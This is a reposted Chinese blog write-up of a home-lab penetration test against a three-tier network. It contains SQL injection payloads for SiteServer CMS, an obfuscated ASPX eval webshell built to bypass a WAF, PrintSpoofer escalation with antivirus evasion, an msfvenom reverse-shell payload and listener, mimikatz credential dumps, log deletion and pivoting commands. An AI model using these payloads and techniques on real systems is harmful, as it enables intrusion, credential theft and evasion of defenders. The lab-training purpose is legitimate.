ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

三层网络防护的域渗透

2022-01-07 20:00:10  阅读:207  来源: 互联网

标签:00 null 渗透 2Bchar 防护 获取 10.10 三层 com


目录

环境准备

网络拓扑

网络拓扑如下:
在这里插入图片描述

配置网卡

由于虚拟机的地址已经写死,更改的话容易出现问题,因此直接新建vm18、vm19两块网卡,并指定如下的子网地址
在这里插入图片描述

对于web服务器,其中一块网卡设置为NAT模式,并固定死IP地址
在这里插入图片描述

网络联通性测试

  1. oa系统可以直接ping通DC
  2. oa机器,关闭防火墙,关闭360。发现web机器可以ping通oa机器,再恢复oa机器的安全防护。
  3. web机器可以ping通外网,可以ping通kali
  4. 拍个快照,结束

一些账号

可以使用下面账号登录系统,方便对网络联通性做测试

win2016 dc :
administrator!@#QWEasd123.
win2012 oa :
administrator !@#Q123
oa !@#Qz123
oa.attack.local
win2016-web:
administrator !@#QWE123

绑定host

192.168.239.114 www.moonlab.com

其他

确认web服务器的iis安全狗和服务器安全狗都开启了CC防护

目标

拿下DC,获取DC中的flag.txt

信息收集

nmap主机发现

nmap -sn 192.168.239.0/24

在这里插入图片描述

端口扫描

masscan端扫描
因为服务器上安全防护软件,因此扫描的速率不能太高

sudo masscan -p 1-65535 192.168.239.114 --rate=100

在这里插入图片描述

nmap端口信息探测

sudo nmap -A -p 80,6588,999,21,5985,3389 -sV 192.168.239.114 -oA nmapscan

在这里插入图片描述

美化扫描结果

这里整个花活,美化一下Nmap的扫描结果

  1. 新建一个文件夹,把nmap的扫描结果直接丢进去
  2. 把一个生成html的模板文件丢进去(删除后缀pdf即可)mode.xsl.pdf
  3. 执行命令:xsltproc -o nmap_scan.html mode.xsl nmapscan.xml
    1. nmap_scan.html是生成的报告名字
    2. mode.xsl是采用的模板
    3. nmapscan.xml是namp的扫描结果

在这里插入图片描述

  1. 生成样式如下

在这里插入图片描述

网站探测

访问之后啥也没有
在这里插入图片描述

指纹识别

whatweb www.moonlab.com

在这里插入图片描述

看到存在waf

WAF识别

看到网站存在安全狗
在这里插入图片描述

目录扫描

直接开扫是会gg的,毕竟开了CC防护
在这里插入图片描述

可以降低扫描速度,我偏不,在“绕WAF”(语雀地址CSDN地址)中介绍过可以使用 **模拟爬虫+模拟用户 **的方式绕过安全狗的CC防护。

  1. 模拟爬虫即:把UA修改为百度等搜索引擎的爬虫UA
  2. 模拟爬虫即:修改请求头,尽量贴近真实

用BurpSuite来做这种事情太合适不过了。准备一个字典(删除PDF后缀即可)big.txt.pdf
在这里插入图片描述

在这里插入图片描述

对着301响应码的子目录访问一下,发现访问http://www.moonlab.com/siteserver会跳转到后台登录页面
在这里插入图片描述

siteserver 漏洞利用

经过网上搜索,查找到:https://github.com/johnniesong/w9scan/blob/master/plugins/2739.py
这里的利用代码可以进行测试。但是我又不想下载完整工具,更不想花时间研究它怎么用,所以直接改造一下代码。
获取到payload:

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
import requests

ps = [
    'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
    'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
    'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
    'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
    'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
    'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
    url = 'http://www.moonlab.com/' + p
    res = requests.get(url)

    # print(res.text)

    if res.status_code == 500 and "GAOJIMicrosoft" in res.text:
        print(url)
        print(res.text)
    # else:
    #     print('worng'+url)

在这里插入图片描述

测试一下,确实存在报错注入,获知数据库版本:Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64)
在这里插入图片描述

绕狗注入

对上面的payload略作修改:

  1. 获取数据库名字:msmoonlab
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=db_name();%20--

在这里插入图片描述

  1. 获取数据库用户名:msmoonlab
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20user=~2;%20--

在这里插入图片描述

接下来的思路就是要拿账号密码,需要搭建一个cms环境,这里图省事,直接去web服务器上看下用户表里都是有哪些列

/****** Script for SelectTopNRows command from SSMS  ******/
SELECT TOP 1000 [UserName]
      ,[Password]
      ,[PasswordFormat]
      ,[PasswordSalt]
      ,[CreationDate]
      ,[LastActivityDate]
      ,[LastModuleID]
      ,[CountOfLogin]
      ,[CreatorUserName]
      ,[IsChecked]
      ,[IsLockedOut]
      ,[PublishmentSystemID]
      ,[DepartmentID]
      ,[AreaID]
      ,[DisplayName]
      ,[Question]
      ,[Answer]
      ,[Email]
      ,[Mobile]
      ,[Theme]
      ,[Language]
  FROM [msmoonlab].[msmoonlab].[bairong_Administrator]

在这里插入图片描述

  1. 接着绕狗,查到用户名admin
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20username%20from%20[bairong_Administrator]);%20--

在这里插入图片描述

  1. 获取密文:64Cic1ERUP9n2OzxuKl9Tw==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20password%20from%20[bairong_Administrator]);%20--

在这里插入图片描述

  1. 获取盐值:LIywB/zHFDTuEA1LU53Opg==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20PasswordSalt%20from%20[bairong_Administrator]);%20--

在这里插入图片描述

接下来就得下载网站的源码,通过反编译 dll 来试图找到用户的加密方法。这块不熟悉,还是换用别的思路吧,注意到网站后台登录页面有“忘记密码”选项的,看看有没有什么漏洞。

忘记密码

发现网站是通过填写问题答案找回密码的,可以试试把问题问题的答案置为空
在这里插入图片描述

在这里插入图片描述

然后就看到了账号密码
在这里插入图片描述

登录成功
在这里插入图片描述

上传木马

在“绕WAF”(语雀地址CSDN地址)中介绍过 **变量覆盖+参数绕过 **可以绕狗,使用如下代码:

<%@ Page Language="Jscript"%>
<%

var a =Request.Item["c32as"];
a=a.Replace("moonmoonmoonmm","Response.Write");
//Response.Write(a);
eval(a,"unsafe");
%>

将此aspx格式的文件直接打包成zip,上传网站。网站会自动解压。
在这里插入图片描述

上传完成之后发现网站没啥变化,这个就有点尴尬,只能百度或者本地发件环境复现一下,看文件到底传哪了
http://www.moonlab.com/sitefiles/sitetemplates/c32as/c32as.aspx
出现的错误问题是代码导致的,不用管
在这里插入图片描述

连接菜刀,注意:
密码是c32as,编码类型是utf-8
在这里插入图片描述

getshell

  1. net start:查看系统上的服务

在这里插入图片描述

对提权有帮助的有:
MySQL、Print Spooler、SQL Server (MSSQLSERVER)
对渗透有障碍的:
Safedog Guard Center、SafeDogCloudHelper、Windows Defender Service、Windows Firewall

  1. 查看进程

使用在线工具https://maikefee.com/av_list分析tasklist /svc的执行结果
在这里插入图片描述

后渗透

提权

使用Print Spooler进行提权。项目地址:https://github.com/itm4n/PrintSpoofer
如果被杀的话,可以做一下免杀,参见之前的文章:PrintSpoofer免杀过360
或者直接使用附件中做过免杀的(删除.pdf后缀即可)PrintSpoofer1.exe.pdf
在这里插入图片描述

使用命令:PrintSpoofer1.exe -i -c "whoami",已经提权成功
在这里插入图片描述

菜刀转msf

msf生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.141 LPORT=4444 -e x86/shikata_ga_nai -i 20 -f csharp -o payload.txt

在这里插入图片描述

Advanced AV Evasion免杀

处理细节参见之前的文章:https://www.yuque.com/u1881995/pborfs/hbmxvo

  1. 打开工具

在这里插入图片描述

MSF开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost  192.168.239.141
set lport 4444
exploit 

获取session

投递免杀马,获取session

  1. 以system权限运行木马
PrintSpoofer1.exe -i -c "666.exe"
  1. 拿到system权限的session

在这里插入图片描述

进程迁移

迁移到X64的SYSTEM权限的进程中,方便获取hash值等操作
关于这部分详细的解释,参见之前的笔记“后渗透模块Meterpreter-系统口令”:https://www.yuque.com/u1881995/ytuylg/tfqni1#S2c8R

哈希明文

  1. 获取哈希值

可以使用:run post/windows/gather/smart_hashdump或者hashdump
获取到:

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5594706205:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
huweishen166644:1004:aad3b435b51404eeaad3b435b51404ee:93a50f03c4bc59579605ee0c1937401a:::
moonlab:1010:aad3b435b51404eeaad3b435b51404ee:16607206dae8e7ac67ccbbce40363686:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:c5bf79ff3e413dd56c626aaed26431bb:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:8ad7000c1e4378339c86952dd7dc23e1:::
  1. 明文信息收集

获取到账号:Administrator,密码:!@#QWE123

meterpreter > load kiwi
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain           NTLM                              SHA1
--------       ------           ----                              ----
Administrator  WIN-FHOQSB51A6Q  e7114141b0337bdce1aedf5594706205  ba0c330de294546637d42b5c42150ef05380fc66
MySQL_HWS      WIN-FHOQSB51A6Q  c5bf79ff3e413dd56c626aaed26431bb  7f56ec1544f97172e71f92b4375739645f6f9288
moonlab        WIN-FHOQSB51A6Q  16607206dae8e7ac67ccbbce40363686  4fa65b24e66ac648afba99b5571e148599913116

wdigest credentials
===================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-FHOQSB51A6Q  !@#QWE123
MySQL_HWS         WIN-FHOQSB51A6Q  5f 00 48 00 68 00 38 00 40 00 69 00 4f 00 77 00 40 00 40 00 54 00 73 00 37 0
                                   0 4a 00 32 00 68 00 4a 00 54 00 37 00 70 00 09 ff 54 00 37 00 70 00 39 00 55
                                    00 51 00 4a 00 4a 00 28 00
WIN-FHOQSB51A6Q$  WORKGROUP        (null)
moonlab           WIN-FHOQSB51A6Q  DvS6yrCjxq3sOQBnIGc

kerberos credentials
====================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-FHOQSB51A6Q  (null)
MySQL_HWS         WIN-FHOQSB51A6Q  (null)
moonlab           IIS APPPOOL      (null)
moonlab           WIN-FHOQSB51A6Q  (null)
win-fhoqsb51a6q$  WORKGROUP        (null)
  1. 其他命令:

kiwi_cmd sekurlsa::wdigest #整理出web服务器上的明文密码
kiwi_cmd sekurlsa::tspkg #这个命令的显示效果跟前者差不多
使用细节参见之前的文章:https://www.yuque.com/u1881995/xwfvho/axoplg#Gsiqg

注意:
如果是使用msf5攻击的话,是有mimikatz模块的,使用kerberos命令获取明文时,在win2016上是看不到明文内容的,如下图。需要修改注册表重启设备之后才行。
在这里插入图片描述

开放的端口-3389

使用netstat看到目标开放了3389端口,那就连接一下
被拒绝
在这里插入图片描述

纳尼(⊙o⊙)?用msf重开一下试试
在这里插入图片描述

连接失败
在这里插入图片描述

原因是目标选择了下图中的策略
在这里插入图片描述

可以使用相同版本的终端进行连接,或者使用 xfreerdp连接会自动加密,使用xfreerdp,由于目标的登录密码存在特殊字符,因此需要使用\对其转义

xfreerdp /f /u:Administrator /p:\!\@\#QWE123 /v:192.168.239.114

在这里插入图片描述

关闭防护

kali登录之后就把目标的防护全关了,安全狗的日志全删了并关闭安全狗,防火墙关了,系统的日志痕迹啥的,可以用msf清理,暂时不用管。
在这里插入图片描述

内网主机发现

  1. 扫描第一张网卡

由于NAT模式下只有kali和web服务器,因此NAT地址的主机发现可做可不做

run post/windows/gather/arp_scanner rhosts=192.168.239.0/24

在这里插入图片描述

  1. 扫描第二张网卡

方法1:使用ping命令
还是探测一下10.10.1.0/24的信息吧

for /l %i in (1,1,255) do @ ping 10.10.1.%i -w 1 -n 1|find /i "ttl="

个人觉得这玩意速度很慢,并且由于内网的OA机器开着防火墙和360全家桶,肯定也是ping不通的,从扫描结果中可以看到,根本没发现其他机器,只发现了自己和物理机的虚拟网卡地址
在这里插入图片描述

方法2:使用msf
还是arp扫描好用!发现了一台新设备,10.10.1.130,也就是OA办公系统。

run post/windows/gather/arp_scanner rhosts=10.10.1.0/24

在这里插入图片描述

配置路由

这里的操作,在“代理-内网跳板机”中介绍过,此处简单演示一遍

  1. 查看web服务器的网卡信息

查看网络接口信息:run get_local_subnets
查看活动路由列表:run autoroute -p
发现目标存在内网网段,并且没有路由信息
在这里插入图片描述

  1. 添加内网路由

run autoroute -s 10.10.1.0/24:以CIDR的方式添加路由信息
在这里插入图片描述

配置socks

在msf6中,一些设置发生了变化

  1. 配置socks_proxy,并运行

在这里插入图片描述

  1. 配置proxychains4.conf

发现,只有proxychains4.conf,没有proxychains.conf了
在这里插入图片描述

配置一下proxychains4.conf,最后一行添加socks5代理即可
在这里插入图片描述

攻击内网OA系统

端口扫描

先探测一下OA机器的端口开放情况

proxychains4 nmap -Pn -sT -sV 10.10.1.130 -F

只扫出来80端口,应该是防护软件在捣鬼。
在这里插入图片描述

还能咋办,直接看看目标的80端口
在这里插入图片描述

网上找到一个利用代码:https://github.com/wikiZ/tongda-exp-poc
根据使用说明,只能使用冰蝎连接
直接按照使用说明获取shell地址
在这里插入图片描述

getshell

  1. 冰蝎配置代理

冰蝎连接kali的代理
在这里插入图片描述

  1. 添加shell

在这里插入图片描述

  1. 尝试获取目标的信息,失败了。按回车键没反应。

在这里插入图片描述

  1. 尝试上传一个冰蝎马,来获取一个新的shell

根据虚拟终端中的地址,获知之前上传的后门位置,上传冰蝎自带的木马
在这里插入图片描述

继续失败
在这里插入图片描述

  1. 勇敢牛牛,不怕困难,换用蚁剑试试呢?

开启socks5代理,蚁剑连接试试,好的

标签:00,null,渗透,2Bchar,防护,获取,10.10,三层,com
来源: https://blog.csdn.net/weixin_44288604/article/details/122370496

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有